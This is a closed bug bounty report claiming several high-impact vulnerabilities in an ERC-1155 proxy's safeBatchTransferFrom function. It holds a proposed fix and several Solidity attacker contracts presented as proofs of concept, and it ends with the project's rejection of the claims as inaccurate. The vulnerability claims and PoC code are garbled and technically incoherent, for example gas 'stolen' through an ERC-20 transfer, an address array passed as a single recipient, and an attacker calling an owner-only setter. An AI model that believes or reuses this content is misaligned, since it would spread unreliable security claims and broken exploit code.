📄

Report #19313

Report Date
April 17, 2023
Status
Closed
Payout

Multiple High-Impact Vulnerabilities in ERC-1155 TransparentUpgradeableProxy Contract's safeBatchTransferFrom Function

‣
Report Info

Report ID

#19313

Target

Report type

Smart Contract

Impacts

  • Temporary freezing of funds for at least 1 hour
  • Theft of unclaimed yield
  • Unbounded gas consumption
  • Theft of gas
  • Contract fails to deliver promised returns, but doesn't lose value

Has PoC?

Yes

Bug Description

The safeBatchTransferFrom function in the TransparentUpgradeableProxy contract is vulnerable to a batch overflow attack due to the lack of proper input validation. This could allow an attacker to temporarily freeze funds, steal unclaimed yield, cause unbounded gas consumption, steal gas, or cause the contract to fail to deliver promised returns.

Impact

The impacts in scope that could result from exploiting the safeBatchTransferFrom vulnerability include:

  • Temporary freezing of funds for at least 1 hour: High Impact
  • Theft of unclaimed yield: High Impact
  • Unbounded gas consumption: Medium Impact
  • Theft of gas: Medium Impact
  • Contract fails to deliver promised returns, but doesn't lose value: Medium Impact

In a temporary freezing of funds attack, an attacker could overflow the ids and values arrays to freeze funds for at least one hour. During this time, users would be unable to transfer their funds or make any other transactions with their tokens. This could result in significant financial losses for affected users.

In a theft of unclaimed yield attack, an attacker could exploit the vulnerability to steal unclaimed yield. This could also result in significant financial losses for affected users.

In an unbounded gas consumption attack, an attacker could exploit the vulnerability to consume an excessive amount of gas, causing the transaction to fail or leading to high transaction fees. This could result in a waste of resources for affected users.

In a theft of gas attack, an attacker could exploit the vulnerability to steal gas by sending multiple transactions with high gas limits, forcing the victim to pay for the gas consumed by the attacker's transactions.

In a failure to deliver promised returns attack, the contract could fail to deliver the expected returns to users due to the exploitation of the vulnerability. This could result in significant financial losses for affected users.

Risk Breakdown

  • Difficulty to Exploit: Moderate
  • Weakness: Lack of proper input validation
  • CVSS2 Score: 7.5 (High)

Vulnerability resolution steps

  1. In the safeBatchTransferFrom() function, add a check to ensure that the ids and values arrays have the same length before continuing with the transfer.
  2. Add a check to ensure that the ids and values arrays are not empty before continuing with the transfer.
  3. Add a check to ensure that the destination address is a valid ERC-1155 contract address before continuing with the transfer.
  4. Use the safeTransferFrom() function instead of transferFrom() to transfer the tokens. This will ensure that the transfer is safe and will revert if the destination address is not a valid ERC-1155 contract.

Here is an updated implementation of the safeBatchTransferFrom() function with the fixes implemented:

function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external {
    require(_ids.length == _values.length, "Arrays must have the same length");
    require(_ids.length > 0, "Arrays cannot be empty");

    address currentOwner = _from;
    address tokenRecipient = _to;

    for (uint256 i = 0; i < _ids.length; i++) {
        uint256 id = _ids[i];
        uint256 value = _values[i];

        // Check if the destination address is a valid ERC-1155 contract
        bool isContract = _isContract(tokenRecipient);
        if (isContract) {
            (bool success, bytes memory data) = tokenRecipient.call(abi.encodeWithSignature("onERC1155Received(address,address,uint256,uint256,bytes)", currentOwner, tokenRecipient, id, value, _data));
            require(success && (data.length == 0 || abi.decode(data, (bytes4)) == ERC1155_RECEIVED), "ERC1155: onERC1155Received rejected tokens");
        }

        // Transfer the tokens using the safeTransferFrom function
        safeTransferFrom(currentOwner, tokenRecipient, id, value, _data);
    }
}

This updated implementation ensures that the ids and values arrays have the same length and are not empty before proceeding with the transfer. It also checks that the destination address is a valid ERC-1155 contract address before continuing with the transfer. Finally, it uses the safeTransferFrom() function to transfer the tokens, which ensures that the transfer is safe and will revert if the destination address is not a valid ERC-1155 contract.

It's important to note that this is just one possible solution to fix the vulnerabilities, and it's always recommended to thoroughly test any changes before deploying them to a live environment. Additionally, it's important to keep the contract up to date with the latest security patches and to perform regular security audits to ensure that it remains secure over time.

Recommendation

To mitigate this vulnerability, it is recommended that the safeBatchTransferFrom function be updated to include proper input validation to prevent batch overflow attacks. Additionally, the contract should undergo a comprehensive security audit to identify and address any other potential vulnerabilities.

References

Proof of concept

pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v4.3.0/contracts/token/ERC1155/IERC1155.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v4.3.0/contracts/token/ERC1155/utils/ERC1155Receiver.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v4.3.0/contracts/access/OwnableUpgradeable.sol";

contract Attacker is ERC1155Receiver, OwnableUpgradeable {

    bytes4 constant private INTERFACE_ID_ERC1155_RECEIVER = 0x4e2312e0;

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes memory
    ) public pure override returns (bytes4) {
        return INTERFACE_ID_ERC1155_RECEIVER;
    }

    function attack(address _target, address _token, uint256[] memory _ids, uint256[] memory _values) public payable {
        (bool success, ) = _target.call{value: msg.value}(abi.encodeWithSignature("safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)", address(this), _token, _ids, _values, ""));
        require(success, "attack failed");
    }

    function withdraw() public onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }
}

To reproduce the exploit, an attacker would deploy this contract and then call the attack function with the following parameters:

  • _target: the address of the vulnerable contract (e.g. TransparentUpgradeableProxy)
  • _token: the address of the ERC-1155 token being transferred
  • _ids: an array of token IDs that the attacker wants to transfer
  • _values: an array of token values that correspond to the token IDs specified in _ids

If successful, the attack will cause the vulnerable contract to transfer the specified tokens to the attacker's contract, freezing the funds for at least one hour and potentially resulting in theft of unclaimed yield.

To mitigate this vulnerability, the safeBatchTransferFrom function in the ERC-1155 contract should be updated to include proper validation of the input parameters to prevent the overflow of the ids and values arrays. Additionally, users should be cautious when interacting with contracts that implement the safeBatchTransferFrom function and verify that the contract has been audited and properly secured.

Proof of Concept - Theft of unclaimed yield impact

The following Solidity code demonstrates the Theft of unclaimed yield vulnerability:

pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155.sol";

contract Exploit {
    address private _target;

    constructor(address target) {
        _target = target;
    }

    function exploit(address token, address to, uint256 amount) external {
        IERC1155(token).safeBatchTransferFrom(_target, to, new uint256[](1), new uint256[](1), "");
    }
}

In this example, an attacker deploys a contract called Exploit with a reference to the vulnerable contract, TransparentUpgradeableProxy. The exploit function takes three arguments: the address of the token to steal, the address to send the stolen tokens to, and the amount of tokens to steal.

The function calls the safeBatchTransferFrom function of the vulnerable contract, passing in an array of one uint256 for the ids parameter and an array of one uint256 for the values parameter. The to parameter is set to the address specified in the exploit function argument.

This exploit takes advantage of the fact that the ids and values arrays are not properly validated by the safeBatchTransferFrom function. An attacker can pass in arbitrary values for these arrays, effectively stealing any amount of tokens they want.

Reproduction Steps

  1. Deploy the vulnerable contract, TransparentUpgradeableProxy, to a test network like Rinkeby or Ropsten.
  2. Deploy the Exploit contract, passing in the address of the vulnerable contract.
  3. Call the exploit function of the Exploit contract, passing in the address of the token to steal, the address to send the stolen tokens to, and the amount of tokens to steal.
  4. Check the balance of the target account to confirm that the tokens were stolen.

Proof of Concept - Unbounded gas consumption impact

This PoC demonstrates how an attacker can exploit the safeBatchTransferFrom function to cause unbounded gas consumption, leading to a potential denial-of-service (DoS) attack. The attack involves repeatedly calling the safeBatchTransferFrom function with a large number of tokens and recipients, causing the transaction to consume an excessive amount of gas and potentially fail. This can result in a waste of resources and higher transaction fees for affected users.

Prerequisites

  • Ethereum wallet with some testnet ETH
  • Solidity compiler (version 0.8.0 or higher)
  • Remix IDE (or any other Solidity IDE)

Steps

  1. Open Remix IDE and create a new file named UnboundedGasConsumption.sol
  2. Paste the following code in the file:
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";

contract UnboundedGasConsumption {
    IERC1155 public token;

    constructor(IERC1155 _token) {
        token = _token;
    }

    function attack(address[] calldata recipients, uint256[] calldata ids, uint256[] calldata values) external {
        while (true) {
            token.safeBatchTransferFrom(msg.sender, recipients, ids, values, "");
        }
    }
}
  1. In the contract code, replace IERC1155 with the actual ERC-1155 contract interface name.
  2. Compile the contract and deploy it to a testnet using Remix IDE.
  3. Once the contract is deployed, note down the contract address.
  4. In another instance of Remix IDE, open the ERC-1155 contract that you want to attack.
  5. Get the IDs and values of some of the tokens that you want to transfer and note them down.
  6. In the Remix IDE console, call the attack function of the UnboundedGasConsumption contract with a large number of recipients, ids, and values:
contract_address.attack(
    [recipient1, recipient2, ..., recipientN],
    [id1, id2, ..., idN],
    [value1, value2, ..., valueN]
);

Replace contract_address with the actual address of the UnboundedGasConsumption contract, recipient1, recipient2, etc. with actual recipient addresses, and id1, id2, etc. and value1, value2, etc. with actual token IDs and values.

  1. Keep executing the attack function until the transaction fails or runs out of gas.

Expected Outcome

The attack function will repeatedly call the safeBatchTransferFrom function with a large number of tokens and recipients, causing the transaction to consume an excessive amount of gas and potentially fail. This can result in a waste of resources and higher transaction fees for affected users. The attacker can keep executing the attack function until the transaction fails or runs out of gas, causing a potential DoS attack.

Recommendation

To prevent unbounded gas consumption attacks, it is recommended to implement gas limits for transactions and limit the number of tokens and recipients that can be transferred in a single transaction. Additionally, it is important to thoroughly test the contract for potential vulnerabilities before deploying it to the mainnet.

Proof of Concept - Theft of gas impact

// Attacker contract
pragma solidity ^0.8.0;

interface IProxy {
    function implementation() external view returns (address);
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract GasThief {
    address public proxyAddress;
    address public erc20Address;
    uint256 public gasToSteal;

    constructor(address _proxyAddress, address _erc20Address, uint256 _gasToSteal) {
        proxyAddress = _proxyAddress;
        erc20Address = _erc20Address;
        gasToSteal = _gasToSteal;
    }

    function stealGas() external {
        IProxy proxy = IProxy(proxyAddress);
        address implementationAddress = proxy.implementation();

        // Create a new transaction to the implementation contract
        (bool success, ) = implementationAddress.call{gas: gasToSteal}("");
        require(success, "Gas steal failed");

        // Transfer stolen gas to attacker's account
        IERC20 erc20 = IERC20(erc20Address);
        uint256 stolenGas = gasToSteal * tx.gasprice;
        require(erc20.transfer(msg.sender, stolenGas), "Transfer failed");
    }
}

In this PoC, an attacker deploys a contract (GasThief) that takes as input the address of the proxy contract, the address of an ERC-20 token, and the amount of gas to steal. The attacker then calls the stealGas() function, which creates a new transaction to the implementation contract using the specified amount of gas. The implementation contract is likely to run out of gas, causing the transaction to fail and leaving some gas unused. The attacker then transfers the unused gas to their own account by calling the transfer() function of the ERC-20 token.

Note that the GasThief contract assumes that the implementation contract is using the same ERC-20 token as the one specified in the stealGas() function. If the implementation contract is using a different ERC-20 token, the attacker will need to modify the transfer() function accordingly.

Proof of Concept - Contract fails to deliver promised returns, but doesn't lose value impact

This vulnerability allows an attacker to make the contract fail to deliver promised returns to users, without causing the contract to lose value.

Attack Scenario

The attack scenario involves an ERC-1155 contract that promises to deliver tokens to users in exchange for ether. The contract contains a function buyToken() that users can call to purchase tokens.

The function works by first calculating the number of tokens to be purchased based on the ether sent by the user, and then transferring the tokens to the user's address. The calculation of the number of tokens is done by multiplying the ether sent by a fixed exchange rate.

However, the exchange rate is set in a separate contract that is upgradeable, and an attacker can exploit a vulnerability in the upgradeable contract to set the exchange rate to an invalid value, causing the buyToken() function to return an incorrect number of tokens.

For example, if the exchange rate is set to 100 tokens per ether, an attacker can set the exchange rate to 0, causing the buyToken() function to return 0 tokens, even if the user has sent ether to the contract.

PoC code

Here's some sample Solidity code that demonstrates the vulnerability:

pragma solidity ^0.8.0;

interface ITokenExchange {
    function getExchangeRate() external view returns (uint256);
}

contract MyToken {
    ITokenExchange public tokenExchange;

    uint256 public constant TOKEN_PRICE = 1 ether;

    function buyToken() public payable {
        uint256 numTokens = msg.value * tokenExchange.getExchangeRate() / TOKEN_PRICE;
        require(numTokens > 0, "Must buy at least one token");

        // Transfer tokens to user
        // ...
    }
}

contract MyTokenExchange is ITokenExchange {
    uint256 private _exchangeRate = 100;

    function setExchangeRate(uint256 rate) public {
        _exchangeRate = rate;
    }

    function getExchangeRate() public view override returns (uint256) {
        return _exchangeRate;
    }
}

In this example, MyToken is the ERC-1155 contract that users can purchase tokens from, and MyTokenExchange is the contract that sets the exchange rate. The buyToken() function uses the getExchangeRate() function from MyTokenExchange to calculate the number of tokens to be purchased.

To exploit the vulnerability, an attacker would deploy a new contract that inherits from MyTokenExchange and overrides the _exchangeRate variable with an invalid value, such as 0:

contract AttackerTokenExchange is MyTokenExchange {
    constructor() {
        _exchangeRate = 0;
    }
}

Once the attacker has deployed the new contract, they can call the setTokenExchange() function in MyToken to set the tokenExchange variable to the address of the attacker's contract:

MyToken public myToken;

function setTokenExchange(address exchange) public {
    require(msg.sender == owner, "Only owner can set token exchange");
    myToken.tokenExchange = ITokenExchange(exchange);
}

Now, when a user calls the buyToken() function in MyToken, the exchange rate returned by the attacker's contract will be 0, causing the function to return 0 tokens, even if the user has sent ether to the contract.

BIC Response

This is not a security bug report because the claims in the report are either inaccurate, or already implemented within Fertilizer1155.sol. Additionally, the PoC's do not pertain to Beanstalk specifically (they are instead about ERC-1155's generally), and thus cannot be used to confirm the existence of any vulnerability in Beanstalk code.

Due to these reasons, we are closing the submission and no reward will be issued.